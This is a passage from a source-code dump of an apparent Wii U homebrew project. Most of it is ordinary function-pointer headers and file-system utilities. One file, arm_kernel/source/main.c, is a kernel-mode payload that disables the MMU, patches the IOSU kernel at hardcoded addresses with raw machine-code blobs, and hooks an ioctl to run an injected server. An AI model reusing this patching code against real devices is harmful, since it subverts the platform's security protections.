OS_FIND_EXPORT(sound_handle, AXQuit); 56 | OS_FIND_EXPORT(sound_handle, AXGetInputSamplesPerSec); 57 | OS_FIND_EXPORT(sound_handle, AXVoiceBegin); 58 | OS_FIND_EXPORT(sound_handle, AXVoiceEnd); 59 | OS_FIND_EXPORT(sound_handle, AXSetVoiceType); 60 | OS_FIND_EXPORT(sound_handle, AXSetVoiceOffsets); 61 | OS_FIND_EXPORT(sound_handle, AXSetVoiceSrcType); 62 | OS_FIND_EXPORT(sound_handle, AXSetVoiceVe); 63 | OS_FIND_EXPORT(sound_handle, AXSetVoiceDeviceMix); 64 | OS_FIND_EXPORT(sound_handle, AXSetVoiceState); 65 | OS_FIND_EXPORT(sound_handle, AXSetVoiceSrc); 66 | OS_FIND_EXPORT(sound_handle, AXSetVoiceSrcRatio); 67 | OS_FIND_EXPORT(sound_handle, AXAcquireVoice); 68 | OS_FIND_EXPORT(sound_handle, AXFreeVoice); 69 | OS_FIND_EXPORT(sound_handle, AXRegisterFrameCallback); 70 | OS_FIND_EXPORT(sound_handle, AXGetVoiceLoopCount); 71 | OS_FIND_EXPORT(sound_handle, AXSetVoiceEndOffset); 72 | OS_FIND_EXPORT(sound_handle, AXSetVoiceLoopOffset); 73 | } 74 | 75 | -------------------------------------------------------------------------------- /src/dynamic_libs/socket_functions.c: -------------------------------------------------------------------------------- 1 | /**************************************************************************** 2 | * Copyright (C) 2015 3 | * by Dimok 4 | * 5 | * This software is provided 'as-is', without any express or implied 6 | * warranty. In no event will the authors be held liable for any 7 | * damages arising from the use of this software. 8 | * 9 | * Permission is granted to anyone to use this software for any 10 | * purpose, including commercial applications, and to alter it and 11 | * redistribute it freely, subject to the following restrictions: 12 | * 13 | * 1. The origin of this software must not be misrepresented; you 14 | * must not claim that you wrote the original software. If you use 15 | * this software in a product, an acknowledgment in the product 16 | * documentation would be appreciated but is not required. 17 | * 18 | * 2. Altered source versions must be plainly marked as such, and 19 | * must not be misrepresented as being the original software. 20 | * 21 | * 3. This notice may not be removed or altered from any source 22 | * distribution. 23 | ***************************************************************************/ 24 | #include "os_functions.h" 25 | #include "socket_functions.h" 26 | 27 | u32 hostIpAddress = 0; 28 | 29 | EXPORT_DECL(void, socket_lib_init, void); 30 | EXPORT_DECL(int, socket, int domain, int type, int protocol); 31 | EXPORT_DECL(int, socketclose, int s); 32 | EXPORT_DECL(int, connect, int s, void *addr, int addrlen); 33 | EXPORT_DECL(int, bind, s32 s,struct sockaddr *name,s32 namelen); 34 | EXPORT_DECL(int, listen, s32 s,u32 backlog); 35 | EXPORT_DECL(int, accept, s32 s,struct sockaddr *addr,s32 *addrlen); 36 | EXPORT_DECL(int, send, int s, const void *buffer, int size, int flags); 37 | EXPORT_DECL(int, recv, int s, void *buffer, int size, int flags); 38 | EXPORT_DECL(int, sendto, int s, const void *buffer, int size, int flags, const struct sockaddr *dest, int dest_len); 39 | EXPORT_DECL(int, setsockopt, int s, int level, int optname, void *optval, int optlen); 40 | EXPORT_DECL(char *, inet_ntoa, struct in_addr in); 41 | EXPORT_DECL(int, inet_aton, const char *cp, struct in_addr *inp); 42 | EXPORT_DECL(int, socketlasterr, void); 43 | 44 | void InitSocketFunctionPointers(void) 45 | { 46 | unsigned int nsysnet_handle; 47 | unsigned int *funcPointer = 0; 48 | OSDynLoad_Acquire("nsysnet.rpl", &nsysnet_handle); 49 | 50 | unsigned int nn_ac_handle; 51 | int(*ACInitialize)(); 52 | int(*ACGetStartupId) (unsigned int *id); 53 | int(*ACConnectWithConfigId) (unsigned int id); 54 | int(*ACGetAssignedAddress) (u32 * ip); 55 | OSDynLoad_Acquire("nn_ac.rpl", &nn_ac_handle); 56 | OSDynLoad_FindExport(nn_ac_handle, 0, "ACInitialize", &ACInitialize); 57 | OSDynLoad_FindExport(nn_ac_handle, 0, "ACGetStartupId", &ACGetStartupId); 58 | OSDynLoad_FindExport(nn_ac_handle, 0, "ACConnectWithConfigId",&ACConnectWithConfigId); 59 | OSDynLoad_FindExport(nn_ac_handle, 0, "ACGetAssignedAddress",&ACGetAssignedAddress); 60 | 61 | OS_FIND_EXPORT(nsysnet_handle, socket_lib_init); 62 | OS_FIND_EXPORT(nsysnet_handle, socket); 63 | OS_FIND_EXPORT(nsysnet_handle, socketclose); 64 | OS_FIND_EXPORT(nsysnet_handle, connect); 65 | OS_FIND_EXPORT(nsysnet_handle, bind); 66 | OS_FIND_EXPORT(nsysnet_handle, listen); 67 | OS_FIND_EXPORT(nsysnet_handle, accept); 68 | OS_FIND_EXPORT(nsysnet_handle, send); 69 | OS_FIND_EXPORT(nsysnet_handle, recv); 70 | OS_FIND_EXPORT(nsysnet_handle, sendto); 71 | OS_FIND_EXPORT(nsysnet_handle, setsockopt); 72 | OS_FIND_EXPORT(nsysnet_handle, inet_ntoa); 73 | OS_FIND_EXPORT(nsysnet_handle, inet_aton); 74 | OS_FIND_EXPORT(nsysnet_handle, socketlasterr); 75 | 76 | unsigned int nn_startupid; 77 | ACInitialize(); 78 | ACGetStartupId(&nn_startupid); 79 | ACConnectWithConfigId(nn_startupid); 80 | ACGetAssignedAddress(&hostIpAddress); 81 | 82 | socket_lib_init(); 83 | } 84 | 85 | -------------------------------------------------------------------------------- /src/dynamic_libs/vpad_functions.h: -------------------------------------------------------------------------------- 1 | /**************************************************************************** 2 | * Copyright (C) 2015 3 | * by Dimok 4 | * 5 | * This software is provided 'as-is', without any express or implied 6 | * warranty. In no event will the authors be held liable for any 7 | * damages arising from the use of this software. 8 | * 9 | * Permission is granted to anyone to use this software for any 10 | * purpose, including commercial applications, and to alter it and 11 | * redistribute it freely, subject to the following restrictions: 12 | * 13 | * 1. The origin of this software must not be misrepresented; you 14 | * must not claim that you wrote the original software. If you use 15 | * this software in a product, an acknowledgment in the product 16 | * documentation would be appreciated but is not required. 17 | * 18 | * 2. Altered source versions must be plainly marked as such, and 19 | * must not be misrepresented as being the original software. 20 | * 21 | * 3. This notice may not be removed or altered from any source 22 | * distribution. 23 | ***************************************************************************/ 24 | #ifndef __VPAD_FUNCTIONS_H_ 25 | #define __VPAD_FUNCTIONS_H_ 26 | 27 | #ifdef __cplusplus 28 | extern "C" { 29 | #endif 30 | 31 | #include 32 | 33 | #define VPAD_BUTTON_A 0x8000 34 | #define VPAD_BUTTON_B 0x4000 35 | #define VPAD_BUTTON_X 0x2000 36 | #define VPAD_BUTTON_Y 0x1000 37 | #define VPAD_BUTTON_LEFT 0x0800 38 | #define VPAD_BUTTON_RIGHT 0x0400 39 | #define VPAD_BUTTON_UP 0x0200 40 | #define VPAD_BUTTON_DOWN 0x0100 41 | #define VPAD_BUTTON_ZL 0x0080 42 | #define VPAD_BUTTON_ZR 0x0040 43 | #define VPAD_BUTTON_L 0x0020 44 | #define VPAD_BUTTON_R 0x0010 45 | #define VPAD_BUTTON_PLUS 0x0008 46 | #define VPAD_BUTTON_MINUS 0x0004 47 | #define VPAD_BUTTON_HOME 0x0002 48 | #define VPAD_BUTTON_SYNC 0x0001 49 | #define VPAD_BUTTON_STICK_R 0x00020000 50 | #define VPAD_BUTTON_STICK_L 0x00040000 51 | #define VPAD_BUTTON_TV 0x00010000 52 | 53 | #define VPAD_STICK_R_EMULATION_LEFT 0x04000000 54 | #define VPAD_STICK_R_EMULATION_RIGHT 0x02000000 55 | #define VPAD_STICK_R_EMULATION_UP 0x01000000 56 | #define VPAD_STICK_R_EMULATION_DOWN 0x00800000 57 | 58 | #define VPAD_STICK_L_EMULATION_LEFT 0x40000000 59 | #define VPAD_STICK_L_EMULATION_RIGHT 0x20000000 60 | #define VPAD_STICK_L_EMULATION_UP 0x10000000 61 | #define VPAD_STICK_L_EMULATION_DOWN 0x08000000 62 | 63 | 64 | typedef struct 65 | { 66 | f32 x,y; 67 | } Vec2D; 68 | 69 | typedef struct 70 | { 71 | u16 x, y; /* Touch coordinates */ 72 | u16 touched; /* 1 = Touched, 0 = Not touched */ 73 | u16 invalid; /* 0 = All valid, 1 = X invalid, 2 = Y invalid, 3 = Both invalid? */ 74 | } VPADTPData; 75 | 76 | typedef struct 77 | { 78 | u32 btns_h; /* Held buttons */ 79 | u32 btns_d; /* Buttons that are pressed at that instant */ 80 | u32 btns_r; /* Released buttons */ 81 | Vec2D lstick, rstick; /* Each contains 4-byte X and Y components */ 82 | char unknown1c[0x52 - 0x1c]; /* Contains accelerometer and gyroscope data somewhere */ 83 | VPADTPData tpdata; /* Normal touchscreen data */ 84 | VPADTPData tpdata1; /* Modified touchscreen data 1 */ 85 | VPADTPData tpdata2; /* Modified touchscreen data 2 */ 86 | char unknown6a[0xa0 - 0x6a]; 87 | uint8_t volume; 88 | uint8_t battery; /* 0 to 6 */ 89 | uint8_t unk_volume; /* One less than volume */ 90 | char unknowna4[0xac - 0xa4]; 91 | } VPADData; 92 | 93 | void InitVPadFunctionPointers(void); 94 | 95 | extern void (* VPADInit)(void); 96 | extern void (* VPADRead)(int chan, VPADData *buffer, u32 buffer_size, s32 *error); 97 | 98 | #ifdef __cplusplus 99 | } 100 | #endif 101 | 102 | #endif // __VPAD_FUNCTIONS_H_ 103 | -------------------------------------------------------------------------------- /src/fs/fs_utils.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include "common/fs_defs.h" 7 | #include "dynamic_libs/fs_functions.h" 8 | 9 | 10 | int MountFS(void *pClient, void *pCmd, char **mount_path) 11 | { 12 | int result = -1; 13 | 14 | void *mountSrc = malloc(FS_MOUNT_SOURCE_SIZE); 15 | if(!mountSrc) 16 | return -3; 17 | 18 | char* mountPath = (char*) malloc(FS_MAX_MOUNTPATH_SIZE); 19 | if(!mountPath) { 20 | free(mountSrc); 21 | return -4; 22 | } 23 | 24 | memset(mountSrc, 0, FS_MOUNT_SOURCE_SIZE); 25 | memset(mountPath, 0, FS_MAX_MOUNTPATH_SIZE); 26 | 27 | // Mount sdcard 28 | if (FSGetMountSource(pClient, pCmd, FS_SOURCETYPE_EXTERNAL, mountSrc, -1) == 0) 29 | { 30 | result = FSMount(pClient, pCmd, mountSrc, mountPath, FS_MAX_MOUNTPATH_SIZE, -1); 31 | if((result == 0) && mount_path) { 32 | *mount_path = (char*)malloc(strlen(mountPath) + 1); 33 | if(*mount_path) 34 | strcpy(*mount_path, mountPath); 35 | } 36 | } 37 | 38 | free(mountPath); 39 | free(mountSrc); 40 | return result; 41 | } 42 | 43 | int UmountFS(void *pClient, void *pCmd, const char *mountPath) 44 | { 45 | int result = -1; 46 | result = FSUnmount(pClient, pCmd, mountPath, -1); 47 | 48 | return result; 49 | } 50 | 51 | int LoadFileToMem(const char *filepath, u8 **inbuffer, u32 *size) 52 | { 53 | //! always initialze input 54 | *inbuffer = NULL; 55 | if(size) 56 | *size = 0; 57 | 58 | int iFd = open(filepath, O_RDONLY); 59 | if (iFd < 0) 60 | return -1; 61 | 62 | u32 filesize = lseek(iFd, 0, SEEK_END); 63 | lseek(iFd, 0, SEEK_SET); 64 | 65 | u8 *buffer = (u8 *) malloc(filesize); 66 | if (buffer == NULL) 67 | { 68 | close(iFd); 69 | return -2; 70 | } 71 | 72 | u32 blocksize = 0x4000; 73 | u32 done = 0; 74 | int readBytes = 0; 75 | 76 | while(done < filesize) 77 | { 78 | if(done + blocksize > filesize) { 79 | blocksize = filesize - done; 80 | } 81 | readBytes = read(iFd, buffer + done, blocksize); 82 | if(readBytes <= 0) 83 | break; 84 | done += readBytes; 85 | } 86 | 87 | close(iFd); 88 | 89 | if (done != filesize) 90 | { 91 | free(buffer); 92 | return -3; 93 | } 94 | 95 | *inbuffer = buffer; 96 | 97 | //! sign is optional input 98 | if(size) 99 | *size = filesize; 100 | 101 | return filesize; 102 | } 103 | 104 | int CheckFile(const char * filepath) 105 | { 106 | if(!filepath) 107 | return 0; 108 | 109 | struct stat filestat; 110 | 111 | char dirnoslash[strlen(filepath)+2]; 112 | snprintf(dirnoslash, sizeof(dirnoslash), "%s", filepath); 113 | 114 | while(dirnoslash[strlen(dirnoslash)-1] == '/') 115 | dirnoslash[strlen(dirnoslash)-1] = '\0'; 116 | 117 | char * notRoot = strrchr(dirnoslash, '/'); 118 | if(!notRoot) 119 | { 120 | strcat(dirnoslash, "/"); 121 | } 122 | 123 | if (stat(dirnoslash, &filestat) == 0) 124 | return 1; 125 | 126 | return 0; 127 | } 128 | 129 | int CreateSubfolder(const char * fullpath) 130 | { 131 | if(!fullpath) 132 | return 0; 133 | 134 | int result = 0; 135 | 136 | char dirnoslash[strlen(fullpath)+1]; 137 | strcpy(dirnoslash, fullpath); 138 | 139 | int pos = strlen(dirnoslash)-1; 140 | while(dirnoslash[pos] == '/') 141 | { 142 | dirnoslash[pos] = '\0'; 143 | pos--; 144 | } 145 | 146 | if(CheckFile(dirnoslash)) 147 | { 148 | return 1; 149 | } 150 | else 151 | { 152 | char parentpath[strlen(dirnoslash)+2]; 153 | strcpy(parentpath, dirnoslash); 154 | char * ptr = strrchr(parentpath, '/'); 155 | 156 | if(!ptr) 157 | { 158 | //!Device root directory (must be with '/') 159 | strcat(parentpath, "/"); 160 | struct stat filestat; 161 | if (stat(parentpath, &filestat) == 0) 162 | return 1; 163 | 164 | return 0; 165 | } 166 | 167 | ptr++; 168 | ptr[0] = '\0'; 169 | 170 | result = CreateSubfolder(parentpath); 171 | } 172 | 173 | if(!result) 174 | return 0; 175 | 176 | if (mkdir(dirnoslash, 0777) == -1) 177 | { 178 | return 0; 179 | } 180 | 181 | return 1; 182 | } 183 | -------------------------------------------------------------------------------- /src/dynamic_libs/padscore_functions.h: -------------------------------------------------------------------------------- 1 | /**************************************************************************** 2 | * Copyright (C) 2015 3 | * by Dimok 4 | * 5 | * This software is provided 'as-is', without any express or implied 6 | * warranty. In no event will the authors be held liable for any 7 | * damages arising from the use of this software. 8 | * 9 | * Permission is granted to anyone to use this software for any 10 | * purpose, including commercial applications, and to alter it and 11 | * redistribute it freely, subject to the following restrictions: 12 | * 13 | * 1. The origin of this software must not be misrepresented; you 14 | * must not claim that you wrote the original software. If you use 15 | * this software in a product, an acknowledgment in the product 16 | * documentation would be appreciated but is not required. 17 | * 18 | * 2. Altered source versions must be plainly marked as such, and 19 | * must not be misrepresented as being the original software. 20 | * 21 | * 3. This notice may not be removed or altered from any source 22 | * distribution. 23 | ***************************************************************************/ 24 | #ifndef __PAD_SCORE_FUNCTIONS_H_ 25 | #define __PAD_SCORE_FUNCTIONS_H_ 26 | 27 | #ifdef __cplusplus 28 | extern "C" { 29 | #endif 30 | 31 | #include 32 | 33 | #define WPAD_BUTTON_LEFT 0x0001 34 | #define WPAD_BUTTON_RIGHT 0x0002 35 | #define WPAD_BUTTON_DOWN 0x0004 36 | #define WPAD_BUTTON_UP 0x0008 37 | #define WPAD_BUTTON_PLUS 0x0010 38 | #define WPAD_BUTTON_2 0x0100 39 | #define WPAD_BUTTON_1 0x0200 40 | #define WPAD_BUTTON_B 0x0400 41 | #define WPAD_BUTTON_A 0x0800 42 | #define WPAD_BUTTON_MINUS 0x1000 43 | #define WPAD_BUTTON_Z 0x2000 44 | #define WPAD_BUTTON_C 0x4000 45 | #define WPAD_BUTTON_HOME 0x8000 46 | 47 | #define WPAD_CLASSIC_BUTTON_UP 0x0001 48 | #define WPAD_CLASSIC_BUTTON_LEFT 0x0002 49 | #define WPAD_CLASSIC_BUTTON_ZR 0x0004 50 | #define WPAD_CLASSIC_BUTTON_X 0x0008 51 | #define WPAD_CLASSIC_BUTTON_A 0x0010 52 | #define WPAD_CLASSIC_BUTTON_Y 0x0020 53 | #define WPAD_CLASSIC_BUTTON_B 0x0040 54 | #define WPAD_CLASSIC_BUTTON_ZL 0x0080 55 | #define WPAD_CLASSIC_BUTTON_R 0x0200 56 | #define WPAD_CLASSIC_BUTTON_PLUS 0x0400 57 | #define WPAD_CLASSIC_BUTTON_HOME 0x0800 58 | #define WPAD_CLASSIC_BUTTON_MINUS 0x1000 59 | #define WPAD_CLASSIC_BUTTON_L 0x2000 60 | #define WPAD_CLASSIC_BUTTON_DOWN 0x4000 61 | #define WPAD_CLASSIC_BUTTON_RIGHT 0x8000 62 | 63 | void InitPadScoreFunctionPointers(void); 64 | 65 | 66 | typedef struct _KPADData 67 | { 68 | u32 btns_h; 69 | u32 btns_d; 70 | u32 btns_r; 71 | u32 unused_1[5]; 72 | f32 pos_x; 73 | f32 pos_y; 74 | u32 unused_2[3]; 75 | f32 angle_x; 76 | f32 angle_y; 77 | u32 unused_3[8]; 78 | u8 device_type; 79 | u8 wpad_error; 80 | u8 pos_valid; 81 | u8 unused_4[1]; 82 | 83 | union 84 | { 85 | struct 86 | { 87 | f32 stick_x; 88 | f32 stick_y; 89 | } nunchuck; 90 | 91 | struct 92 | { 93 | u32 btns_h; 94 | u32 btns_d; 95 | u32 btns_r; 96 | f32 lstick_x; 97 | f32 lstick_y; 98 | f32 rstick_x; 99 | f32 rstick_y; 100 | f32 ltrigger; 101 | f32 rtrigger; 102 | } classic; 103 | 104 | u32 unused_6[20]; 105 | }; 106 | u32 unused_7[16]; 107 | } KPADData; 108 | 109 | typedef void (* wpad_connect_callback_t)(s32 chan, s32 status); 110 | 111 | extern void (* KPADInit)(void); 112 | extern s32 (* WPADProbe)(s32 chan, u32 * pad_type); 113 | extern s32 (* WPADSetDataFormat)(s32 chan, s32 format); 114 | extern void (* WPADEnableURCC)(s32 enable); 115 | extern void (* WPADRead)(s32 chan, void * data); 116 | extern s32 (* KPADRead)(s32 chan, void * data, u32 size); 117 | 118 | #ifdef __cplusplus 119 | } 120 | #endif 121 | 122 | #endif // __PAD_SCORE_FUNCTIONS_H_ 123 | -------------------------------------------------------------------------------- /arm_kernel/source/main.c: -------------------------------------------------------------------------------- 1 | #include "types.h" 2 | #include "../../payload/arm_user_bin.h" 3 | 4 | static const char repairData_set_fault_behavior[] = { 5 | 0xE1,0x2F,0xFF,0x1E,0xE9,0x2D,0x40,0x30,0xE5,0x93,0x20,0x00,0xE1,0xA0,0x40,0x00, 6 | 0xE5,0x92,0x30,0x54,0xE1,0xA0,0x50,0x01,0xE3,0x53,0x00,0x01,0x0A,0x00,0x00,0x02, 7 | 0xE1,0x53,0x00,0x00,0xE3,0xE0,0x00,0x00,0x18,0xBD,0x80,0x30,0xE3,0x54,0x00,0x0D, 8 | }; 9 | static const char repairData_set_panic_behavior[] = { 10 | 0x08,0x16,0x6C,0x00,0x00,0x00,0x18,0x0C,0x08,0x14,0x40,0x00,0x00,0x00,0x9D,0x70, 11 | 0x08,0x16,0x84,0x0C,0x00,0x00,0xB4,0x0C,0x00,0x00,0x01,0x01,0x08,0x14,0x40,0x00, 12 | 0x08,0x15,0x00,0x00,0x08,0x17,0x21,0x80,0x08,0x17,0x38,0x00,0x08,0x14,0x30,0xD4, 13 | 0x08,0x14,0x12,0x50,0x08,0x14,0x12,0x94,0xE3,0xA0,0x35,0x36,0xE5,0x93,0x21,0x94, 14 | 0xE3,0xC2,0x2E,0x21,0xE5,0x83,0x21,0x94,0xE5,0x93,0x11,0x94,0xE1,0x2F,0xFF,0x1E, 15 | 0xE5,0x9F,0x30,0x1C,0xE5,0x9F,0xC0,0x1C,0xE5,0x93,0x20,0x00,0xE1,0xA0,0x10,0x00, 16 | 0xE5,0x92,0x30,0x54,0xE5,0x9C,0x00,0x00, 17 | }; 18 | static const char repairData_usb_root_thread[] = { 19 | 0xE5,0x8D,0xE0,0x04,0xE5,0x8D,0xC0,0x08,0xE5,0x8D,0x40,0x0C,0xE5,0x8D,0x60,0x10, 20 | 0xEB,0x00,0xB2,0xFD,0xEA,0xFF,0xFF,0xC9,0x10,0x14,0x03,0xF8,0x10,0x62,0x4D,0xD3, 21 | 0x10,0x14,0x50,0x00,0x10,0x14,0x50,0x20,0x10,0x14,0x00,0x00,0x10,0x14,0x00,0x90, 22 | 0x10,0x14,0x00,0x70,0x10,0x14,0x00,0x98,0x10,0x14,0x00,0x84,0x10,0x14,0x03,0xE8, 23 | 0x10,0x14,0x00,0x3C,0x00,0x00,0x01,0x73,0x00,0x00,0x01,0x76,0xE9,0x2D,0x4F,0xF0, 24 | 0xE2,0x4D,0xDE,0x17,0xEB,0x00,0xB9,0x92,0xE3,0xA0,0x10,0x00,0xE3,0xA0,0x20,0x03, 25 | 0xE5,0x9F,0x0E,0x68,0xEB,0x00,0xB3,0x20, 26 | }; 27 | 28 | /* from smealum's iosuhax: must be placed at 0x05059938 */ 29 | static const char os_launch_hook[] = { 30 | 0x47, 0x78, 0x00, 0x00, 0xe9, 0x2d, 0x40, 0x0f, 0xe2, 0x4d, 0xd0, 0x08, 0xeb, 31 | 0xff, 0xfd, 0xfd, 0xe3, 0xa0, 0x00, 0x00, 0xeb, 0xff, 0xfe, 0x03, 0xe5, 0x9f, 32 | 0x10, 0x4c, 0xe5, 0x9f, 0x20, 0x4c, 0xe3, 0xa0, 0x30, 0x00, 0xe5, 0x8d, 0x30, 33 | 0x00, 0xe5, 0x8d, 0x30, 0x04, 0xeb, 0xff, 0xfe, 0xf1, 0xe2, 0x8d, 0xd0, 0x08, 34 | 0xe8, 0xbd, 0x80, 0x0f, 0x2f, 0x64, 0x65, 0x76, 0x2f, 0x73, 0x64, 0x63, 0x61, 35 | 0x72, 0x64, 0x30, 0x31, 0x00, 0x2f, 0x76, 0x6f, 0x6c, 0x2f, 0x73, 0x64, 0x63, 36 | 0x61, 0x72, 0x64, 0x00, 0x00, 0x00, 0x2f, 0x76, 0x6f, 0x6c, 0x2f, 0x73, 0x64, 37 | 0x63, 0x61, 0x72, 0x64, 0x00, 0x05, 0x11, 0x60, 0x00, 0x05, 0x0b, 0xe0, 0x00, 38 | 0x05, 0x0b, 0xcf, 0xfc, 0x05, 0x05, 0x99, 0x70, 0x05, 0x05, 0x99, 0x7e, 39 | }; 40 | 41 | unsigned int disable_mmu(void); 42 | void restore_mmu(unsigned int control_register); 43 | 44 | int _main() 45 | { 46 | int(*disable_interrupts)() = (int(*)())0x0812E778; 47 | int(*enable_interrupts)(int) = (int(*)(int))0x0812E78C; 48 | void(*invalidate_icache)() = (void(*)())0x0812DCF0; 49 | void(*invalidate_dcache)(unsigned int, unsigned int) = (void(*)())0x08120164; 50 | void(*flush_dcache)(unsigned int, unsigned int) = (void(*)())0x08120160; 51 | char* (*kernel_memcpy)(void*, void*, int) = (char*(*)(void*, void*, int))0x08131D04; 52 | 53 | flush_dcache(0x081200F0, 0x4001); // giving a size >= 0x4000 flushes all cache 54 | 55 | int level = disable_interrupts(); 56 | 57 | unsigned int control_register = disable_mmu(); 58 | 59 | /* Save the request handle so we can reply later */ 60 | *(volatile u32*)0x01E10000 = *(volatile u32*)0x1016AD18; 61 | 62 | /* Patch kernel_error_handler to BX LR immediately */ 63 | *(int*)0x08129A24 = 0xE12FFF1E; 64 | 65 | void * pset_fault_behavior = (void*)0x081298BC; 66 | kernel_memcpy(pset_fault_behavior, (void*)repairData_set_fault_behavior, sizeof(repairData_set_fault_behavior)); 67 | 68 | void * pset_panic_behavior = (void*)0x081296E4; 69 | kernel_memcpy(pset_panic_behavior, (void*)repairData_set_panic_behavior, sizeof(repairData_set_panic_behavior)); 70 | 71 | void * pusb_root_thread = (void*)0x10100174; 72 | kernel_memcpy(pusb_root_thread, (void*)repairData_usb_root_thread, sizeof(repairData_usb_root_thread)); 73 | 74 | void * pUserBinSource = (void*)0x01E50000; 75 | void * pUserBinDest = (void*)0x101312D0; 76 | kernel_memcpy(pUserBinDest, (void*)pUserBinSource, sizeof(arm_user_bin)); 77 | 78 | // take wupserver from mem1 79 | u32 wupserver_bin_len = *(volatile u32*)0x01E70000; 80 | void *wupserver_bin = (void*)0x01E70020; 81 | 82 | // overwrite mcp_d_r code with wupserver 83 | *(volatile u32*)(0x0510E56C - 0x05100000 + 0x13D80000) = 0x47700000; // bx lr 84 | void *wupserver_dst = (void*)(0x0510E570 - 0x05100000 + 0x13D80000); 85 | kernel_memcpy(wupserver_dst, wupserver_bin, wupserver_bin_len); 86 | invalidate_dcache((u32)wupserver_dst, wupserver_bin_len); 87 | invalidate_icache(); 88 | 89 | // replace ioctl 0x62 code with jump to wupserver 90 | *(volatile u32*)(0x05026BA8 - 0x05000000 + 0x081C0000) = 0x47780000; // bx pc 91 | *(volatile u32*)(0x05026BAC - 0x05000000 + 0x081C0000) = 0xE59F1000; // ldr r1, [pc] 92 | *(volatile u32*)(0x05026BB0 - 0x05000000 + 0x081C0000) = 0xE12FFF11; // bx r1 93 | *(volatile u32*)(0x05026BB4 - 0x05000000 + 0x081C0000) = 0x0510E570; // wupserver code 94 | 95 | *(int*)(0x1555500) = 0; 96 | 97 | /* REENABLE MMU */ 98 | restore_mmu(control_register); 99 | 100 | invalidate_dcache(0x081298BC, 0x4001); // giving a size >= 0x4000 invalidates all cache 101 | invalidate_icache(); 102 | 103 | enable_interrupts(level); 104 | 105 | return 0; 106 | } 107 | -------------------------------------------------------------------------------- /src/dynamic_libs/fs_functions.h: -------------------------------------------------------------------------------- 1 | /**************************************************************************** 2 | * Copyright (C) 2015 3 | * by Dimok 4 | * 5 | * This software is provided 'as-is', without any express or implied 6 | * warranty. In no event will the authors be held liable for any 7 | * damages arising from the use of this software. 8 | * 9 | * Permission is granted to anyone to use this software for any 10 | * purpose, including commercial applications, and to alter it and 11 | * redistribute it freely, subject to the following restrictions: 12 | * 13 | * 1. The origin of this software must not be misrepresented; you 14 | * must not claim that you wrote the original software. If you use 15 | * this software in a product, an acknowledgment in the product 16 | * documentation would be appreciated but is not required. 17 | * 18 | * 2. Altered source versions must be plainly marked as such, and 19 | * must not be misrepresented as being the original software. 20 | * 21 | * 3. This notice may not be removed or altered from any source 22 | * distribution. 23 | ***************************************************************************/ 24 | #ifndef __FS_FUNCTIONS_H_ 25 | #define __FS_FUNCTIONS_H_ 26 | 27 | #ifdef __cplusplus 28 | extern "C" { 29 | #endif 30 | 31 | #include "common/fs_defs.h" 32 | 33 | void InitFSFunctionPointers(void); 34 | 35 | extern int (* FSInit)(void); 36 | extern int (* FSShutdown)(void); 37 | extern int (* FSAddClientEx)(void *pClient, int unk_zero_param, int errHandling); 38 | extern int (* FSDelClient)(void *pClient); 39 | extern void (* FSInitCmdBlock)(void *pCmd); 40 | extern int (* FSGetMountSource)(void *pClient, void *pCmd, int type, void *source, int errHandling); 41 | 42 | extern int (* FSMount)(void *pClient, void *pCmd, void *source, char *target, uint32_t bytes, int errHandling); 43 | extern int (* FSUnmount)(void *pClient, void *pCmd, const char *target, int errHandling); 44 | extern int (* FSRename)(void *pClient, void *pCmd, const char *oldPath, const char *newPath, int error); 45 | extern int (* FSRenameAsync)(void *pClient, void *pCmd, const char *oldPath, const char *newPath, int error, void *asyncParams); 46 | extern int (* FSRemove)(void *pClient, void *pCmd, const char *path, int error); 47 | extern int (* FSRemoveAsync)(void *pClient, void *pCmd, const char *path, int error, void *asyncParams); 48 | 49 | extern int (* FSGetStat)(void *pClient, void *pCmd, const char *path, FSStat *stats, int errHandling); 50 | extern int (* FSGetStatAsync)(void *pClient, void *pCmd, const char *path, void *stats, int error, void *asyncParams); 51 | extern int (* FSRename)(void *pClient, void *pCmd, const char *oldPath, const char *newPath, int error); 52 | extern int (* FSRenameAsync)(void *pClient, void *pCmd, const char *oldPath, const char *newPath, int error, void *asyncParams); 53 | extern int (* FSRemove)(void *pClient, void *pCmd, const char *path, int error); 54 | extern int (* FSRemoveAsync)(void *pClient, void *pCmd, const char *path, int error, void *asyncParams); 55 | extern int (* FSFlushQuota)(void *pClient, void *pCmd, const char* path, int error); 56 | extern int (* FSFlushQuotaAsync)(void *pClient, void *pCmd, const char *path, int error, void *asyncParams); 57 | extern int (* FSGetFreeSpaceSize)(void *pClient, void *pCmd, const char *path, uint64_t *returnedFreeSize, int error); 58 | extern int (* FSGetFreeSpaceSizeAsync)(void *pClient, void *pCmd, const char *path, uint64_t *returnedFreeSize, int error, void *asyncParams); 59 | extern int (* FSRollbackQuota)(void *pClient, void *pCmd, const char *path, int error); 60 | extern int (* FSRollbackQuotaAsync)(void *pClient, void *pCmd, const char *path, int error, void *asyncParams); 61 | 62 | extern int (* FSOpenDir)(void *pClient, void *pCmd, const char *path, int *dh, int errHandling); 63 | extern int (* FSOpenDirAsync)(void *pClient, void* pCmd, const char *path, int *handle, int error, void *asyncParams); 64 | extern int (* FSReadDir)(void *pClient, void *pCmd, int dh, FSDirEntry *dir_entry, int errHandling); 65 | extern int (* FSRewindDir)(void *pClient, void *pCmd, int dh, int errHandling); 66 | extern int (* FSCloseDir)(void *pClient, void *pCmd, int dh, int errHandling); 67 | extern int (* FSChangeDir)(void *pClient, void *pCmd, const char *path, int errHandling); 68 | extern int (* FSChangeDirAsync)(void *pClient, void *pCmd, const char *path, int error, void *asyncParams); 69 | extern int (* FSMakeDir)(void *pClient, void *pCmd, const char *path, int errHandling); 70 | extern int (* FSMakeDirAsync)(void *pClient, void *pCmd, const char *path, int error, void *asyncParams); 71 | 72 | extern int (* FSOpenFile)(void *pClient, void *pCmd, const char *path, const char *mode, int *fd, int errHandling); 73 | extern int (* FSOpenFileAsync)(void *pClient, void *pCmd, const char *path, const char *mode, int *handle, int error, const void *asyncParams); 74 | extern int (* FSReadFile)(void *pClient, void *pCmd, void *buffer, int size, int count, int fd, int flag, int errHandling); 75 | extern int (* FSCloseFile)(void *pClient, void *pCmd, int fd, int errHandling); 76 | 77 | extern int (* FSFlushFile)(void *pClient, void *pCmd, int fd, int error); 78 | extern int (* FSTruncateFile)(void *pClient, void *pCmd, int fd, int error); 79 | extern int (* FSGetStatFile)(void *pClient, void *pCmd, int fd, void *buffer, int error); 80 | extern int (* FSSetPosFile)(void *pClient, void *pCmd, int fd, int pos, int error); 81 | extern int (* FSWriteFile)(void *pClient, void *pCmd, const 